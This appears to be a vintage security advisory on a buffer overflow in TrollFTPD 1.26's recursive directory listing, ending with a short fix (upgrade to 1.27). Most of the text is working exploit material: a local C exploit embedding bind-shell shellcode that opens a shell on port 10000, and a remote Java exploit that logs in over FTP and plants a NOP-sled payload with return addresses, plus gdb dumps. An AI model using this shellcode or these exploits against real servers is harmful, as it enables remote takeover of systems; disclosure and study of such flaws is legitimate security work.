COMMAND
TrollFTPD
SYSTEMS AFFECTED
TrollFTPD-1.26
PROBLEM
zen-parse found following. An error in the handling of recursive
directory listings can result in an exploitable buffer overflow.
Exploit (offsets are for one machine. not guaranteed to work on
any others):
- Run the program,
ftp localhost
<in ftp>
(your username)
(your password)
cd /tmp
ls -R
<out of ftp>
Connect to port 10000 with nc
- Be nice.
The code:
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xdb" // xor ebx, ebx
"\xf7\xe3" // mul ebx
"\xb0\x66" // mov al, 102
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x4b" // dec ebx
"\xcd\x80" // int 80h
"\x89\xc7" // mov edi, eax
"\x52" // push edx
"\x66\x68\x27\x10" // push word 4135
"\x43" // inc ebx
"\x66\x53" // push bx
"\x89\xe1" // mov ecx, esp
"\xb0\x10" // mov al, 16
"\x50" // push eax
"\x51" // push ecx
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\xb0\x66" // mov al, 102
"\xb3\x04" // mov bl, 4
"\xcd\x80" // int 80h
"\x50" // push eax
"\x50" // push eax
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\x43" // inc ebx
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\x89\xd9" // mov ecx, ebx
"\x89\xc3" // mov ebx, eax
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop lp
"\x51" // push ecx
"\x68\x55\x55\x55\x55" // push dword 68732f6eh
"\x68\x55\x55\x55\x55" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\x0b" // mov al, 11
"\xcd\x80"; // int 80h
main()
{
char dir[8000];
char nir[8000];
int z0=0,a0=0x080597f8;
int z1=0,a1=0xbff96450;
int g;
strcpy(dir,"/tmp/retroll/");
mkdir(dir,0777);
printf("%d\n",strlen(shellcode));
while(strlen(dir)<4040)
{
strcat(dir,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/");
mkdir(dir,0777);
}
// 4048 so far leaving 48 left.
if(chdir(dir)){perror("chdir");exit(1);}
printf("%d + ",strlen(dir));
sprintf(dir,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAA/");
mkdir(dir,0777);
system("cp /bin/sh AAAAAAAAAAAAAAAAAAAAAAAAAAAAA/UUUUUUUU");
sprintf(nir,"%sAAAAAAAAAAAAAAAAAAAAAAAA",dir);
sprintf(dir,"%sGGGG=AAAAAAA%sAAAAAAAAAAAA%sCCCC%s",nir,&a0,&a1,shellcode);
printf("%d = ",strlen(dir));
mkdir(dir,0777);
}
Here is an example of how you might use java to create a remote
exploit... 'KF' sent a java attempt at remotely exploiting
trollftpd as described by zen-parse. This code could use some
TLC.
/*
code by: krfinisterre@checkfree.com
java trollftpdex <return> <offset> <localhost> <user> <pass>
then ftp in and cd /tmp ls -R to invoke the overflow
Here are some gdb dumps for those of you that want edit this.
0x0804f983 in listdir (f=4, name=0xbffe9360 "./rapeme./", 'A' <repeats 190 times>...) at ls.c:510
510 if ( *r && !chdir( *r ) ) {
(gdb) bt
#0 0x0804f983 in listdir (f=4, name=0xbffe9360 "./rapeme./", 'A' <repeats 190 times>...) at ls.c:510
#19 0x0804fa0f in listdir (f=4, name=0xbfffc6f0 "./rapeme.") at ls.c:517
#20 0x0804fa0f in listdir (f=4, name=0x80524c9 ".") at ls.c:517
#21 0x08050240 in donlist (arg=0x8055127 "") at ls.c:720
#22 0x0804aadf in parser () at ftpd.c:420
#23 0x0804e8d2 in main (argc=1, argv=0xbffffa4c) at ftpd.c:1730
#24 0x4006b0de in __libc_start_main () from /lib/libc.so.6
from looking at gdb dumps the code is somewhere between these 2 locations
0xbffe9180: 'A' <repeats 190 times>, "/\220\220\220\220\220\220\220\220\220"
...
0xbffe9310: "\201~?0\201~?0\201~?0\201~?0\201~?0\201~?0\201~?0\201~?0\201~?0\205~?"
*/
import java.net.*;
import java.io.*;
import java.util.*;
public class trollftpdex
{
public static void main(String args[])
throws IOException, InterruptedException
{
// shellcode from trock.c by zen-parse runs /tmp/rapeme./AAAAAAAA.../AAAA.../UUUU
String scode = "\\x31\\xdb\\xf7\\xe3\\xb0\\x66\\x53\\x43\\x53\\x43\\x53\\x89\\xe1\\x4b\\xcd\\x80\\x89\\xc7\\x52\\x66\\x68\\x27\\x10\\x43\\x66\\x53\\x89\\xe1\\xb0\\x10\\x50\\x51\\x57\\x89\\xe1\\xb0\\x66\\xcd\\x80\\xb0\\x66\\xb3\\x04\\xcd\\x80\\x50\\x50\\
x57\\x89\\xe1\\x43\\xb0\\x66\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x3f\\x49\\xcd\\x80\\x41\\xe2\\xf8\\x51\\x68\\x55\\x55\\x55\\x55\\x68\\x55\\x55\\x55\\x55\\x89\\xe3\\x51\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80";
int codelen = (scode.length()/4);
// these are obviously nops
int noplen = (((254 - codelen)/2) -4) ;
String shellcode = "\\x90";
for(int x = 4; x < noplen; x++)
{
shellcode = shellcode + "\\x90";
}
shellcode = shellcode + scode;
Integer o = new Integer(args[1]);
String off = o.toString(o.intValue(), 16);
long offset = Long.parseLong(off, 16);
long esp = Long.parseLong(args[0], 16);
// What we want to eip to be
long evilreturn = esp - offset;
String evilreturn_hex_tmp = Long.toHexString(evilreturn);
String evilreturn_hex1 = evilreturn_hex_tmp.substring(0,2);
String evilreturn_hex2 = evilreturn_hex_tmp.substring(2,4);
String evilreturn_hex3 = evilreturn_hex_tmp.substring(4,6);
String evilreturn_hex4 = evilreturn_hex_tmp.substring(6,8);
String ret = evilreturn_hex4 + "\\x" + evilreturn_hex3 + "\\x" + evilreturn_hex2 + "\\x" + evilreturn_hex1;
// heres our return addy
int addylen = ((254 - codelen)/2);
for(int x = 0; x < addylen; x=x+4)
{
shellcode = shellcode + ret ;
}
// fill an internal char array for use in string mal
CharArrayWriter pw = new CharArrayWriter(5);
StringTokenizer st = new StringTokenizer(shellcode, "\\x");
int len = st.countTokens();
for(int x = 0; x < len; x ++)
{
int nopi = Integer.parseInt(st.nextToken(), 16);
pw.write(nopi);
}
pw.flush();
pw.close();
String mal = pw.toString();
try
{
// Put the bulk of the code here.
Socket s = new Socket(args[2], 21);
System.out.print(".");
PrintStream ps = new PrintStream(s.getOutputStream());
DataInputStream dis = new DataInputStream(s.getInputStream());
ps.println("user " + args[3]);
ps.flush();
ps.println("pass " + args[4]);
ps.flush();
ps.println("mkd /tmp/rapeme.");
ps.flush();
ps.println("cwd /tmp/rapeme.");
ps.flush();
ps.println("mkd AAAAAAAAAA");
ps.flush();
ps.println("cwd AAAAAAAAAA");
ps.flush();
// 255 chars in len
for(int x = 0; x < 18; x++)
{
ps.println("mkd AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
ps.flush();
ps.println("cwd AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
ps.flush();
}
// put our payload here
ps.println("mkd " + mal);
ps.flush();
ps.println("cwd " + mal);
ps.flush();
ps.flush();
ps.println("quit");
ps.flush();
String line = null;
while( (line = dis.readLine() ) != null)
{
System.out.println(line);
line = null;
}
ps.close();
dis.close();
s.close();
}
catch(IOException e)
{
System.out.println(e);
}
}
}
SOLUTION
Upgrade to TrollFTPD-1.27:
ftp://ftp.trolltech.com/freebies/ftpd/troll-ftpd-1.27.tar.gz
Pure-FTPd is a derivative of TrollFTPd 1.26. However, it doesn't
seem to be vulnerable to this attack. The bound checking added
in TrollFTPD 1.27 have already been implemented in the very first
version of Pureftpd.